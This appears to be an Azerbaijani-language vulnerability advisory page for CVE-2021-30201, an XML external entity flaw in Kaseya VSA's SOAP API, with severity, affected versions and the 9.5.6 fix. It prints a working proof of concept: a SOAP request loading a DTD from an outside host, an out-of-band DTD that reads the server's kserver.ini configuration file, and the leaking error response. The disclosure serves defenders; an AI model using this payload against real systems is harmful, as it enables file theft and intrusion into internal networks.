CVE-2021-30201

Yüksək

Təsvir

/vsaWS/KaseyaWS.asmx API-dən sistemə XML göndərmək üçün istifadə etmək mümkündür. Bu XML emal edilərkən (xarici) entitilər təhlükəsiz olmayan şəkildə emal edilir, sistem tərəfindən əldə edilir və hücumçuya qaytarılır. Ətraflı təsvir Aşağıdakı sorğu verildikdə: ``` POST /vsaWS/KaseyaWS.asmx HTTP/1.1 Content-Type: text/xml;charset=UTF-8 Host: 192.168.1.194:18081 Content-Length: 406 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:kas="KaseyaWS"> <soapenv:Header/> <soapenv:Body> <kas:PrimitiveResetPassword> <!--type: string--> <kas:XmlRequest><![CDATA[<!DOCTYPE data SYSTEM "http://192.168.1.170:8080/oob.dtd"><data>&send;</data>]]> </kas:XmlRequest> </kas:PrimitiveResetPassword> </soapenv:Body> </soapenv:Envelope> ``` Və http://192.168.1.170/oob.dtd ünvanında yerləşən aşağıdakı XML faylı olduqda: ``` <!ENTITY % file SYSTEM "file://c:\\kaseya\\kserver\\kserver.ini"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ``` Server bu XML faylını əldə edib emal edəcək, c:\\kaseya\\kserver\\kserver.ini faylını oxuyacaq və məzmunu aşağıdakı kimi server cavabında qaytaracaq. Cavab: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/xml; charset=utf-8 Date: Fri, 02 Apr 2021 10:07:38 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 2677 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring>Server was unable to process request. ---&gt; There is an error in XML document (24, -1000).\r\n\r\nSystem.Xml.XmlException: Fragment identifier '######################################################################## # This is the configuration file for the KServer. # Place it in the same directory as the KServer executable # A blank line or new valid section header [] terminates each section. # Comment lines start with ; or # ######################################################################## <snip> ``` Aşkar edilmiş təhlükəsizlik problemləri --- * API xarici XML entitilərini təhlükəsiz olmayan şəkildə həll edir * API həddindən artıq detallı xəta cavabı verir Təsir --- Bu zəiflikdən istifadə edərək hücumçu veb-server prosesinin oxuya bildiyi serverdəki hər hansı faylı oxuya bilər. Əlavə olaraq, bu, lokal şəbəkədə HTTP(s) sorğuları göndərmək və beləliklə, Kaseya sistemindən lokal şəbəkəyə nüfuz etmək üçün istifadə edilə bilər.

CiddilikYüksək
CVSS7.5
İstismar ehtimalı—
MəhsulKaseya Vsa
Dərc9 iyl 2021
İlk görülmə9 iyl 2021

Necə düzəltmək olar

Yeniləyin
  • kaseya vsa9.5.6 və ya daha yeni versiya

Təsirlənən məhsullar

MəhsulTəsirlənən versiyalarDüzəldildiyi versiya
kaseya vsav < 9.5.69.5.6

Versiyanızı yoxlayın

Məhsulu seçin və istifadə etdiyiniz versiyanı yazın; versiyanın təsirlənən aralıqda olub-olmadığını görün.

Intelligence 360 paketində

Attack Surface Management

Domenlərinizə bağlı aktivləri, onlarda işləyən texnologiyaları və məlum zəiflikləri bir siyahıda görün.

CVE-2021-30201 · Kaseya Vsa · Dark Radar